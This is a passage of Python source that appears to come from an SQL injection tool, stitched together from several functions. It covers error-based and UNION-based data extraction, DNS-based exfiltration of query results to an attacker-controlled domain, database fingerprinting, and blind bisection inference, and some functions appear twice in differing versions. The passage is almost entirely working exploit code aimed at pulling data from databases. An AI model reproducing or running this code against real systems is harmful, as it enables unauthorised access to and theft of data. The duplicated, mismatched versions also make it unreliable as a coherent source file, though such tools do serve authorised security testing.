candidate if candidate != current else current - 1 else: current = current / 2 if kb.errorChunkLength: hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength) else: kb.errorChunkLength = 0 if retVal is None or partialValue: try: while True: check = r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) trimcheck = r"%s(?P<result>[^<\n]*)" % (kb.chars.start) if field: nulledCastedField = agent.nullAndCastField(field) if any( Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any( _ in field for _ in ("COUNT", "CASE") ) and kb.errorChunkLength and not chunkTest: extendedField = re.search( r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace( field, nulledCastedField) field = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms( )].substring.query % (nulledCastedField, offset, kb.errorChunkLength) # Forge the error-based SQL injection request vector = kb.injection.data[kb.technique].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression injExpression = unescaper.escape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) incrementCounter(kb.technique) if page and conf.noEscape: page = re.sub( r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page) # Parse the returned page to get the exact error-based # SQL injection output output = reduce(lambda x, y: x if x is not None else y, (\ extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ if headers else None), re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \ None) if output is not None: output = getUnicode(output) else: trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if trimmed: if not chunkTest: warnMsg = "possible server trimmed output detected " warnMsg += "(due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) if not kb.testMode: check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[: 2] output = extractRegexResult( check, trimmed, re.IGNORECASE) if not output: check = "(?P<result>[^\s<>'\"]+)" output = extractRegexResult( check, trimmed, re.IGNORECASE) else: output = output.rstrip() if any( Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): if offset == 1: retVal = output else: retVal += output if output else '' if output and kb.errorChunkLength and len( output) >= kb.errorChunkLength and not chunkTest: offset += kb.errorChunkLength else: break if kb.fileReadMode and output: dataToStdout( _formatPartialContent(output).replace( r"\n", "\n").replace(r"\t", "\t")) else: retVal = output break except: if retVal is not None: hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise retVal = decodeHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, basestring): retVal = htmlunescape(retVal).replace("<br>", "\n") retVal = _errorReplaceChars(retVal) if retVal is not None: hashDBWrite(expression, retVal) else: _ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal
def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve( "%s%s" % (conf.hexConvert, expression), checkConf=True) # as union data is stored raw unconverted threadData = getCurrentThreadData() threadData.resumed = retVal is not None if retVal is None: # Prepare expression with delimiters injExpression = unescaper.escape(agent.concatQuery(expression, unpack)) # Forge the union SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[ 6] payload = agent.payload(newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) incrementCounter(PAYLOAD.TECHNIQUE.UNION) # Parse the returned page to get the exact union-based # SQL injection output def _(regex): return reduce(lambda x, y: x if x is not None else y, (\ extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \ extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \ if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \ None) # Automatically patching last char trimming cases if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): warnMsg = "automatically patching output having last char trimmed" singleTimeWarnMessage(warnMsg) page = page.replace(kb.chars.stop[:-1], kb.chars.stop) retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) # Special case when DBMS is Microsoft SQL Server and error message is used as a result of union injection if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): retVal = htmlunescape(retVal).replace("<br>", "\n") hashDBWrite("%s%s" % (conf.hexConvert, expression), retVal) else: trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(probably due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) return retVal
def _oneShotErrorUse(expression, field=None): offset = 1 partialValue = None threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) if retVal and PARTIAL_VALUE_MARKER in retVal: partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue)) offset += len(partialValue) threadData.resumed = retVal is not None and not partialValue if Backend.isDbms(DBMS.MYSQL): chunk_length = MYSQL_ERROR_CHUNK_LENGTH elif Backend.isDbms(DBMS.MSSQL): chunk_length = MSSQL_ERROR_CHUNK_LENGTH else: chunk_length = None if retVal is None or partialValue: try: while True: check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start) if field: nulledCastedField = agent.nullAndCastField(field) if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")): # skip chunking of scalar expression (unneeded) extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace(field, nulledCastedField) field = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length) # Forge the error-based SQL injection request vector = kb.injection.data[kb.technique].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression injExpression = unescaper.escape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) incrementCounter(kb.technique) # Parse the returned page to get the exact error-based # SQL injection output output = reduce(lambda x, y: x if x is not None else y, (\ extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \ None) if output is not None: output = getUnicode(output) else: trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): if offset == 1: retVal = output else: retVal += output if output else '' if output and len(output) >= chunk_length: offset += chunk_length else: break if kb.fileReadMode and output: dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) else: retVal = output break except: if retVal is not None: hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise retVal = decodeHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, basestring): retVal = htmlunescape(retVal).replace("<br>", "\n") retVal = _errorReplaceChars(retVal) if retVal is not None: hashDBWrite(expression, retVal) else: _ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal
def dnsUse(payload, expression): """ Retrieve the output of a SQL query taking advantage of the DNS resolution mechanism by making request back to attacker's machine. """ start = time.time() retVal = None count = 0 offset = 1 if conf.dnsName and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL): output = hashDBRetrieve(expression, checkConf=True) if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None: output = None if output is None: kb.dnsMode = True while True: count += 1 prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2)) chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2 _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length) nulledCastedField = agent.hexConvertField(nulledCastedField) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsName) expressionUnescaped = unescaper.escape(expressionRequest) if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): query = agent.prefixQuery("; %s" % expressionUnescaped) query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query) forgedPayload = agent.payload(newValue=query) else: forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3))) Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False) _ = conf.dnsServer.pop(prefix, suffix) if _: _ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I) _ = decodeHexValue(_) output = (output or "") + _ offset += len(_) if len(_) < chunk_length: break else: break output = decodeHexValue(output) if conf.hexConvert else output kb.dnsMode = False if output is not None: retVal = output if kb.dnsTest is not None: dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) if count > 0: hashDBWrite(expression, output) if not kb.bruteMode: debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) elif conf.dnsName: warnMsg = "DNS data exfiltration method through SQL injection " warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms() singleTimeWarnMessage(warnMsg) return safecharencode(retVal) if kb.safeCharEncode else retVal
def getFingerprint(self): fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) if fork is None: if inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'"): fork = FORK.MARIADB elif inject.checkBooleanExpression("VERSION() LIKE '%TiDB%'"): fork = FORK.TIDB elif inject.checkBooleanExpression( "@@VERSION_COMMENT LIKE '%drizzle%'"): fork = FORK.DRIZZLE elif inject.checkBooleanExpression( "@@VERSION_COMMENT LIKE '%Percona%'"): fork = FORK.PERCONA elif inject.checkBooleanExpression( "AURORA_VERSION() LIKE '%'" ): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ fork = FORK.AURORA else: fork = "" hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp and not conf.api: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp and not conf.api: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = Format.getDbms() if not conf.extensiveFp: value += actVer if fork: value += " (%s fork)" % fork return value comVer = self._commentCheck() blank = " " * 15 value += "active fingerprint: %s" % actVer if comVer: comVer = Format.getDbms([comVer]) value += "\n%scomment injection fingerprint: %s" % (blank, comVer) if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: if banVer and re.search(r"-log$", kb.data.banner or ""): banVer += ", logging enabled" banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) if fork: value += "\n%sfork fingerprint: %s" % (blank, fork) return value
def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve( "%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted threadData = getCurrentThreadData() threadData.resumed = retVal is not None if retVal is None: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector if not kb.rowXmlMode: injExpression = unescaper.escape( agent.concatQuery(expression, unpack)) kb.unionDuplicates = vector[7] kb.forcePartialUnion = vector[8] query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[ 6] else: where = vector[6] query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False) payload = agent.payload(newValue=query, where=where) # Perform the request page, headers, _ = Request.queryPage(payload, content=True, raise404=False) incrementCounter(PAYLOAD.TECHNIQUE.UNION) if not kb.rowXmlMode: # Parse the returned page to get the exact UNION-based # SQL injection output def _(regex): return firstNotNone( extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), extractRegexResult( regex, removeReflectiveValues( listToStrValue(( _ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI) ) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)) # Automatically patching last char trimming cases if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): warnMsg = "automatically patching output having last char trimmed" singleTimeWarnMessage(warnMsg) page = page.replace(kb.chars.stop[:-1], kb.chars.stop) retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) else: output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page) if output: try: root = xml.etree.ElementTree.fromstring( safeStringFormat("<root>%s</root>", getBytes(output))) retVal = "" for column in kb.dumpColumns: base64 = True for child in root: value = child.attrib.get(column, "").strip() if value and not re.match( r"\A[a-zA-Z0-9+/]+={0,2}\Z", value): base64 = False break try: decodeBase64(value) except binascii.Error: base64 = False break if base64: for child in root: child.attrib[column] = decodeBase64( child.attrib.get(column, ""), binary=False) or NULL for child in root: row = [] for column in kb.dumpColumns: row.append(child.attrib.get(column, NULL)) retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop) except: pass else: retVal = getUnicode(retVal) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): retVal = htmlUnescape(retVal).replace("<br>", "\n") hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal) elif not kb.rowXmlMode: trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(probably due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) else: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] return retVal
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ abortedFlag = False showEta = False partialValue = u"" finalValue = None retrievedLength = 0 asciiTbl = getCharset(charsetType) threadData = getCurrentThreadData() timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: if PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) elif PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal and not conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) else: infoMsg = "resumed: %s" % safecharencode(retVal) logger.info(infoMsg) return 0, retVal try: # Set kb.partRun in case "common prediction" feature (a.k.a. "good # samaritan") is used or the engine is called from the API if conf.predictOutput: kb.partRun = getPartRun() elif hasattr(conf, "api"): kb.partRun = getPartRun(alias=False) else: kb.partRun = None if partialValue: firstChar = len(partialValue) elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): firstChar = 0 elif dump and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 if "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): lastChar = 0 elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int): lastChar = int(lastChar) else: lastChar = 0 if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.escape(expressionReplaced) else: expressionUnescaped = unescaper.escape(expression) if isinstance(length, basestring) and length.isdigit() or isinstance(length, int): length = int(length) else: length = None if length == 0: return 0, "" if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar if length and length > MAX_BISECTION_LENGTH: length = None showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) or 1 if showEta: progress = ProgressBar(maxValue=length) if timeBasedCompare and conf.threads > 1 and not conf.forceThreads: warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically" singleTimeWarnMessage(warnMsg) if numThreads > 1: if not timeBasedCompare or conf.forceThreads: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) hintlock = threading.Lock() def tryHint(idx): with hintlock: hintValue = kb.hintValue if hintValue is not None and len(hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return hintValue[idx - 1] with hintlock: kb.hintValue = None return None def validateChar(idx, value): """ Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay """ if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result and timeBasedCompare: result = threadData.lastCode == kb.injection.data[kb.technique].trueCode if not result: warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode) singleTimeWarnMessage(warnMsg) incrementCounter(kb.technique) return result def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 5, 4] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: charTbl.remove(ord(char)) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] firstCheck = False lastCheck = False unexpectedCode = False while len(charTbl) != 1: position = None if charsetType is None: if not firstCheck: try: try: lastChar = [_ for _ in threadData.shared.value if _ is not None][-1] except IndexError: lastChar = None if 'a' <= lastChar <= 'z': position = charTbl.index(ord('a') - 1) # 96 elif 'A' <= lastChar <= 'Z': position = charTbl.index(ord('A') - 1) # 64 elif '0' <= lastChar <= '9': position = charTbl.index(ord('0') - 1) # 47 except ValueError: pass finally: firstCheck = True elif not lastCheck and numThreads == 1: # not usable in multi-threading environment if charTbl[(len(charTbl) >> 1)] < ord(' '): try: # favorize last char check if current value inclines toward 0 position = charTbl.index(1) except ValueError: pass finally: lastCheck = True if position is None: position = (len(charTbl) >> 1) posValue = charTbl[position] falsePayload = None if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL) if timeBasedCompare: if kb.responseTimeMode: kb.responseTimePayload = falsePayload else: kb.responseTimePayload = None result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if not timeBasedCompare: unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode) if unexpectedCode: warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode singleTimeWarnMessage(warnMsg) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec threadData.validationRun = 0 if retried < MAX_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) if timeBasedCompare: if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: threadData.validationRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if minValue == maxChar or maxValue == minChar: return None for index in xrange(len(originalTbl)): if originalTbl[index] == minValue: break # If we are working with non-continuous elements, both minValue and character after # are possible candidates for retVal in (originalTbl[index], originalTbl[index + 1]): forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(retVal) return None # Go multi-threading (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: threadData.shared.value = [None] * length threadData.shared.index = [firstChar] # As list for python nested function scoping threadData.shared.start = firstChar try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.index.acquire() if threadData.shared.index[0] - firstChar >= length: kb.locks.index.release() return threadData.shared.index[0] += 1 curidx = threadData.shared.index[0] kb.locks.index.release() if kb.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break with kb.locks.value: threadData.shared.value[curidx - 1 - firstChar] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: progress.progress(time.time() - charStart, threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): output = output[:-2] + '..' if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): _ = count - firstChar output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length)) output += status if _ != length else " " * len(status) dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: abortedFlag = True finally: value = [_ for _ in partialValue] value.extend(_ for _ in threadData.shared.value) infoMsg = None # If we have got one single character not correctly fetched it # can mean that the connection to the target URL was lost if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg and not hasattr(conf, "api"): dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar threadData.shared.value = "" while True: index += 1 charStart = time.time() # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment if conf.predictOutput and 